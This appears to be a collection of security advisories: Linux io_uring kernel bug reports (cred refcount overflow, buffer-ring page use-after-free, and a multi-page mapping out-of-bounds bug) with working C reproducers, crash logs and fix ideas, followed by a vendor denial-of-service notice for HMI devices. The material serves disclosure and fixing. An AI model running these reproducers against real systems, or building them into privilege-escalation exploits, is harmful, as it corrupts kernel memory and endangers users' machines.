a0 00 00 00 48 c7 c6 40 39 0d b0 e9 9d 53 07 00 0f 0b <0f> 0b 0f 0b 0f 1f 80 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90RSP: 0018:ffffb2e382b5bcf0 EFLAGS: 00010246RAX: ffff8c4e21c6c080 RBX: ffff8c52fce02000 RCX: ffffb2e382b5bc94RDX: 0000000000000001 RSI: ffff8c52fce025c0 RDI: ffff8c4e1f2c2480RBP: ffff8c52fce025a8 R08: ffffb2e382b5bc98 R09: 0000000000000007R10: 0000000000000001 R11: 0000000000000001 R12: ffff8c52fce02040R13: ffff8c4e072fc520 R14: ffff8c576139c9c0 R15: ffff8c4e21c6c938FS:  0000000000000000(0000) GS:ffff8c598dd00000(0000) knlGS:0000000000000000CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033CR2: 000055a8bdfd1d70 CR3: 0000000411e47001 CR4: 0000000000770ef0PKRU: 55555554Fixing recursive fault but reboot is needed!============A use-after-free of `struct cred` should be exploitable; one method would beto try to get the freed object allocated again as the `struct cred` of aroot-privileged process, another method would be to try to reallocate theobject with a buffer containing attacker-controlled data somehow (and thenfake a full capability set in init_user_ns with UIDs set to zero).While one tempting easy fix here would be to close off avenues for gettinglots of references with little RAM (like somehow making io_uring reuse IDswith a local usage counter when userspace tries to insert the same`struct cred` into the xarray multiple times), I think that this example showshow fragile that method is. It requires knowing about all the variousreference paths that can hold references to `struct cred`, and what kinds ofmultipliers or global limits apply at every point in this reference graph.I think the kernel should be using some flavor of saturating refcounts as thedefault choice, at least on machines that have enough RAM to store 2^32pointers.If there are specific cases where the overhead is undesirable, I think weshould only omit such a check if we can document exactly how many referencescan exist at most, with enough warning comments scattered around to ensurethat the assumptions can't accidentally be broken inadvertently later on.(Or the kernel could limit SLUB to a maximum of 32 GiB of memory except forspecially marked slabs that store objects guaranteed to not hold multiplereferences to the same object, but I think people would probably hate thatidea.)(But note that refcount hardening also has value for protecting against bugswhere some repeatedly executed codepath forgets to decrement the refcount,letting it drift up until it wraps around; and that kind of bug is alsoexploitable without using ginormous amounts of RAM.)This bug is subject to a 90-day disclosure deadline. If a fix for thisissue is made available to users before the end of the 90-day deadline,this bug report will become public 30 days after the fix was madeavailable. Otherwise, this bug report will become public at the deadline.The scheduled deadline is 2024-02-26.Found by: jannh@google.com

Linux 5.6 io_uring Cred Refcount Overflow

Linux versions 6.4 and above suffer from an io_uring page use-after-free vulnerability via buffer ring mmap.

    Linux >=6.4: io_uring: page UAF via buffer ring mmapSince commit c56e022c0a27 (\"io_uring: add support for user mapped providedbuffer ring\"), landed in Linux 6.4, io_uring makes it possible to allocate,mmap, and deallocate \"buffer rings\".A \"buffer ring\" can be allocated withio_uring_register(..., IORING_REGISTER_PBUF_RING, ...) and later deallocatedwith io_uring_register(..., IORING_UNREGISTER_PBUF_RING, ...).It can be mapped into userspace using mmap() with offsetIORING_OFF_PBUF_RING|..., which creates a VM_PFNMAP mapping, meaning the MMsubsystem will treat the mapping as a set of opaque page frame numbers notassociated with any corresponding pages; this implies that the calling code isresponsible for ensuring that the mapped memory can not be freed before theuserspace mapping is removed.However, there is no mechanism to ensure this in io_uring: It is possible tojust register a buffer ring with IORING_REGISTER_PBUF_RING, mmap() it, and thenfree the buffer ring's pages with IORING_UNREGISTER_PBUF_RING, leaving freepages mapped into userspace, which is a fairly easily exploitable situation.reproducer:==============================================================#define _GNU_SOURCE#include <unistd.h>#include <err.h>#include <string.h>#include <stdio.h>#include <ctype.h>#include <sys/syscall.h>#include <sys/mman.h>#include <linux/io_uring.h>#define SYSCHK(x) ({          \\  typeof(x) __res = (x);      \\  if (__res == (typeof(x))-1) \\    err(1, \"SYSCHK(\" #x \")\"); \\  __res;                      \\})int main(void) {  struct io_uring_params params = {    .flags = IORING_SETUP_NO_SQARRAY  };  int uring_fd = SYSCHK(syscall(__NR_io_uring_setup, /*entries=*/40, &params));  printf(\"uring_fd = %d\\", uring_fd);  struct io_uring_buf_reg reg = {    .ring_entries = 1,    .bgid = 0,    .flags = IOU_PBUF_RING_MMAP  };  SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_REGISTER_PBUF_RING, &reg, 1));  void *pbuf_mapping = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_PBUF_RING));  printf(\"pbuf mapped at %p\\", pbuf_mapping);  struct io_uring_buf_reg unreg = { .bgid = 0 };  SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_UNREGISTER_PBUF_RING, &unreg, 1));  while (1) {    memset(pbuf_mapping, 0xaa, 0x1000);    usleep(100000);  }}==============================================================When run on a system with the debug options:    CONFIG_PAGE_TABLE_CHECK=y    CONFIG_PAGE_TABLE_CHECK_ENFORCED=y, this will splat with the following error, when __page_table_check_zero()detects that a page that's being freed is still mapped into userspace:==============================================================------------[ cut here ]------------kernel BUG at mm/page_table_check.c:146!invalid opcode: 0000 [#1] PREEMPT SMP KASANCPU: 1 PID: 554 Comm: uring-mmap-pbuf Not tainted 6.7.0-rc3 #360Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014RIP: 0010:__page_table_check_zero+0x136/0x150Code: a8 40 0f 84 1f ff ff ff 48 8d 7b 48 e8 93 8a fd ff 48 8b 6b 48 40 f6 c5 01 0f 84 08 ff ff ff 48 83 ed 01 e9 02 ff ff ff 0f 0b <0f> 0b 0f 0b 0f 0b 5b 48 89 ef 5d 41 5c 41 5d 41 5e e9 f4 ea ff ffRSP: 0018:ffff888029aa7c70 EFLAGS: 00010202RAX: 0000000000000001 RBX: ffff8880011789f0 RCX: dffffc0000000000RDX: 0000000000000007 RSI: ffffffff83ca598e RDI: ffff8880011789f4RBP: ffff8880011789f0 R08: 0000000000000000 R09: ffffed100022f13eR10: ffff8880011789f7 R11: 0000000000000000 R12: 0000000000000000R13: ffff8880011789f4 R14: 0000000000000001 R15: 0000000000000000FS:  00007f745f01a500(0000) GS:ffff88806d280000(0000) knlGS:0000000000000000CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033CR2: 00005610bbfb8008 CR3: 0000000016ac3004 CR4: 0000000000770ef0PKRU: 55555554Call Trace: <TASK>[...] free_unref_page_prepare+0x282/0x450 free_unref_page+0x45/0x170 __io_remove_buffers.part.0+0x38c/0x3c0 io_unregister_pbuf_ring+0x146/0x1e0[...] __do_sys_io_uring_register+0xa03/0x11c0[...] do_syscall_64+0x43/0xf0 entry_SYSCALL_64_after_hwframe+0x6e/0x76RIP: 0033:0x7f745ef4bf59Code: 00 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 07 6f 0c 00 f7 d8 64 89 01 48RSP: 002b:00007ffe29cbac98 EFLAGS: 00000202 ORIG_RAX: 00000000000001abRAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f745ef4bf59RDX: 00007ffe29cbaca0 RSI: 0000000000000017 RDI: 0000000000000003RBP: 00007ffe29cbadb0 R08: 00007ffe29cbab6c R09: 0000000000000000R10: 0000000000000001 R11: 0000000000000202 R12: 00005610bbb700d0R13: 00007ffe29cbae90 R14: 0000000000000000 R15: 0000000000000000 </TASK>Modules linked in:---[ end trace 0000000000000000 ]---==============================================================When run on a system without those options, this reproducer will randomlycorrupt memory and probably on most runs crash the machine.I tried it once and after I tried using some other programs, I got some randomkernel #GP fault.One way to fix this might be to add some mapping counter to`struct io_buffer_list`, and then: - increment that counter in io_uring_validate_mmap_request() for PBUF_RING   mappings - increment that counter in the vm_area_operations ->open() handler - decrement that counter in the vm_area_operations ->close() handler - refuse IORING_UNREGISTER_PBUF_RING if the counter is non-zero?Or alternatively free the io_buffer_list when the counter drops to zero, and letthe counter start at 1.(I'm not sure what the lifetime rules for other accesses to the io_buffer_list'smemory are - it looks like most paths only access the io_buffer_list under somelock? Is the idea that the kernel actually accesses the buffer through userspacepointers, or something like that? I'll have to stare at this some more before Iunderstand it...)This bug is subject to a 90-day disclosure deadline. If a fix for thisissue is made available to users before the end of the 90-day deadline,this bug report will become public 30 days after the fix was madeavailable. Otherwise, this bug report will become public at the deadline.The scheduled deadline is 2024-02-26.Found by: jannh@google.com

Linux 6.4 io_uring Use-After-Free

__io_uaddr_map() in io_uring suffers from dangerous handling of the multi-page region.

    io_uring: __io_uaddr_map() handles multi-page region dangerously__io_uaddr_map() wants to import a region from userspace, and then address theimported region through the linear mapping area. This requires that theimported region is physically contiguous.A comment in __io_uaddr_map() explains that the imported region is usuallyjust a single page, in which case that is trivially fine.However, __io_uaddr_map() also has code intended to permit multi-page regions,in which case it tries to enforce that the entire region maps to the samefolio (in other words, the same head page):        /*         * Should be a single page. If the ring is small enough that we can         * use a normal page, that is fine. If we need multiple pages, then         * userspace should use a huge page. That's the only way to guarantee         * that we get contigious memory, outside of just being lucky or         * (currently) having low memory fragmentation.         */        if (page_array[0] != page_array[ret - 1])                goto err;This code is wrong for (more or less) two reasons:1. It only checks the first and last page; it doesn't check any of the pages   in between. Userspace can easily create a set of adjacent VMAs such that   the first and last virtual page map to the same physical page, while pages   in between map to entirely unrelated pages.2. It misunderstands how compound pages are represented in the kernel, and   will always reject the case it is supposed to allow:   `pin_user_pages_fast()` would return a set of adjacent `struct page`   instances that are associated with the same head page / folio; it   wouldn't return the same `struct page *` for every subpage.   Every chunk of memory of size `PAGE_SIZE` maps to its own `struct page`.So if this code is presented with a userspace region of the following shape,containing individual 4K pages:[page A][page B][...][page A]then it will accept the region and assume that `page_to_virt(<page A>)`returns the address of a page as big as the entire region. Accesses to thefirst 4KiB of the region would work as intended; but accesses to later partsof the region will be out-of-bounds accesses to unrelated pages.Here's a reproducer that submits a bunch of NOP ops (zeroed sqes) until itoverruns the end of the first sq page:```#define _GNU_SOURCE#include <unistd.h>#include <err.h>#include <stdio.h>#include <sys/mman.h>#include <sys/syscall.h>#include <linux/io_uring.h>#define SYSCHK(x) ({          \\  typeof(x) __res = (x);      \\  if (__res == (typeof(x))-1) \\    err(1, \"SYSCHK(\" #x \")\"); \\  __res;                      \\})#define NUM_SQ_PAGES 4int main(void) {  int memfd_sq = SYSCHK(memfd_create(\"\", 0));  int memfd_cq = SYSCHK(memfd_create(\"\", 0));  SYSCHK(ftruncate(memfd_sq, NUM_SQ_PAGES * 0x1000));  SYSCHK(ftruncate(memfd_cq, NUM_SQ_PAGES * 0x1000));  // sq  void *sq_data = SYSCHK(mmap(NULL, NUM_SQ_PAGES*0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, memfd_sq, 0));  SYSCHK(mmap(sq_data+(NUM_SQ_PAGES-1)*0x1000, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, memfd_sq, 0));  // cq (rings)  void *cq_data = SYSCHK(mmap(NULL, NUM_SQ_PAGES*0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, memfd_cq, 0));  *(volatile unsigned int *)(cq_data+4) = 64 * NUM_SQ_PAGES;  for (int i=1; i<NUM_SQ_PAGES; i++)    SYSCHK(mmap(cq_data+i*0x1000, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, memfd_cq, 0));  struct io_uring_params params = {    .flags = IORING_SETUP_NO_MMAP | IORING_SETUP_NO_SQARRAY /*| IORING_SETUP_CQE32*/,    .sq_off = {      .user_addr = (unsigned long)sq_data    },    .cq_off = {      .user_addr = (unsigned long)cq_data    }  };  int uring_fd = SYSCHK(syscall(__NR_io_uring_setup, /*entries=*/64 * NUM_SQ_PAGES, &params));  printf(\"uring_fd = %d\\", uring_fd);  /* submit nops */  int enter_res = SYSCHK(syscall(__NR_io_uring_enter, uring_fd, 64 * NUM_SQ_PAGES, 0, 0, NULL));  printf(\"enter returned %d\\", enter_res);}```It gives an ASAN splat like this (but note that the splat diagnostic is wrong because ASAN can't detect page OOB access properly):```[   73.380288] ==================================================================[   73.381745] BUG: KASAN: slab-use-after-free in io_submit_sqes+0x223/0xc00[   73.382822] Read of size 1 at addr ffff88810263a000 by task uring-multipage/708[   73.383967] [   73.384240] CPU: 6 PID: 708 Comm: uring-multipage Not tainted 6.7.0-rc2 #357[   73.385316] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014[   73.386778] Call Trace:[   73.387177]  <TASK>[   73.387520]  dump_stack_lvl+0x4a/0x80[   73.388117]  print_report+0xcf/0x670[...][   73.389595]  kasan_report+0xd8/0x110[...][   73.391954]  io_submit_sqes+0x223/0xc00[   73.392570]  __do_sys_io_uring_enter+0x965/0x1200[...][   73.397438]  do_syscall_64+0x46/0xf0[   73.398004]  entry_SYSCALL_64_after_hwframe+0x6e/0x76[   73.398787] RIP: 0033:0x7ff8ed2e7989[   73.399494] Code: 00 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d d7 64 0c 00 f7 d8 64 89 01 48[   73.402164] RSP: 002b:00007fff76dc3598 EFLAGS: 00000202 ORIG_RAX: 00000000000001aa[   73.403277] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff8ed2e7989[   73.404314] RDX: 0000000000000000 RSI: 0000000000000100 RDI: 0000000000000005[   73.411155] RBP: 00007fff76dc3690 R08: 0000000000000000 R09: 0000020000000100[   73.412496] R10: 0000000000000000 R11: 0000000000000202 R12: 000055967f6680a0[   73.417987] R13: 00007fff76dc3770 R14: 0000000000000000 R15: 0000000000000000[   73.419272]  </TASK>[removed irrelevant alloc/free traces of the accessed memory region][   73.449202] [   73.449471] The buggy address belongs to the object at ffff88810263a000[   73.449471]  which belongs to the cache kmalloc-128 of size 128[   73.451228] The buggy address is located 0 bytes inside of[   73.451228]  freed 128-byte region [ffff88810263a000, ffff88810263a080)[   73.453173] [   73.453429] The buggy address belongs to the physical page:[   73.454232] page:000000002be796b3 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10263a[   73.455535] head:000000002be796b3 order:1 entire_mapcount:0 nr_pages_mapped:0 pincount:0[   73.456662] flags: 0x200000000000840(slab|head|node=0|zone=2)[   73.457522] page_type: 0xffffffff()[   73.458045] raw: 0200000000000840 ffff8881000428c0 ffffea0004747e80 0000000000000002[   73.459143] raw: 0000000000000000 0000000080200020 00000001ffffffff 0000000000000000[   73.460305] page dumped because: kasan: bad access detected[   73.461091] [   73.461353] Memory state around the buggy address:[   73.462038]  ffff888102639f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[   73.463058]  ffff888102639f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[   73.464277] >ffff88810263a000: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb[   73.465289]                    ^[   73.465791]  ffff88810263a080: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc[   73.466795]  ffff88810263a100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb```I'm not sure about the best way to fix it - since the compound page supportcan't actually have worked, as explained above, maybe it's easiest to justdrop support for compound pages? \u03bfr alternatively we could fix that, but sincenobody seems to have used it, that'd maybe be unnecessary complexity...This bug is subject to a 90-day disclosure deadline. If a fix for thisissue is made available to users before the end of the 90-day deadline,this bug report will become public 30 days after the fix was madeavailable. Otherwise, this bug report will become public at the deadline.The scheduled deadline is 2024-02-22.Related CVE Numbers: CVE-2023-6560.Found by: jannh@google.com

io_uring __io_uaddr_map() Dangerous Multi-Page Handling

Denial-of-service (DoS) vulnerability exists in NetBIOS service of HMI GC-A2 series. If a remote unauthenticated attacker sends a specially crafted packets to specific ports, a denial-of-service (DoS) condition may occur.

Dec. 11, 2023

*   TOP
*   News
*   \[Update notice\] HMI GC-A2 series

**1.Overview**

Multiple vulnerabilities were found in HMI GC-A2 series.  
We will inform you of the contents and how to deal with them.  
Please confirm the contents and apply the follow solution.

**2.Products Affected**

The following products are affected by the vulnerability.

Products

Firmware Version

GC-A22W-CW

All Versions

GC-A24W-C(W)

All Versions

GC-A26W-C(W)

All Versions

GC-A24

All Versions

GC-A24-M

All Versions

GC-A25

All Versions

GC-A26

All Versions

GC-A26-J2

All Versions

GC-A27-C

All Versions

GC-A28-C

All Versions

**3.Description**

HMI GC-A2 series contain multiple vulnerabilities listed below.

**3-1.Denial-of-service (DoS) vulnerability in FTP service (CWE-400) – CVE-2023-41963**

CVSS v3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base score: 7.5  
CVSS v2 AV:N/AC:L/Au:N/C:N/I:N/A:C Base score: 7.8

**3-2. Denial-of-service (DoS) vulnerability in commplex-link service (CWE-400) – CVE-2023-49140**

CVSS v3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base score: 7.5  
CVSS v2 AV:N/AC:L/Au:N/C:N/I:N/A:C Base score: 7.8

**3-3. Denial-of-service (DoS) vulnerability in rfe service (CWE-400) – CVE-2023-49143**

CVSS v3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base score: 7.5  
CVSS v2 AV:N/AC:L/Au:N/C:N/I:N/A:C Base score: 7.8

**3-4. Denial-of-service (DoS) vulnerability in NetBIOS service (CWE-400) – CVE-2023-49713**

CVSS v3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base score: 7.5  
CVSS v2 AV:N/AC:L/Au:N/C:N/I:N/A:C Base score: 7.8

**4.Impact**

A remote attacker may be able to cause a denial of service (DoS) condition by sending specially crafted packets to specific ports.  
A denial of service (DoS) may cause the HMI system to stop.  
Restarting the HMI is required to recover from a system stopped state.

**5.Mitigations and Protections**

When connecting the HMI GC-A2 series to the Internet, use a firewall or virtual private network (VPN) to prevent unauthorized access.

Our Advantages

Global business expanding enable us to product development required by the World and Era. Also,  
advanced total power and development capabilities doesn't make us stay just component producer.

View details

Tag

#bios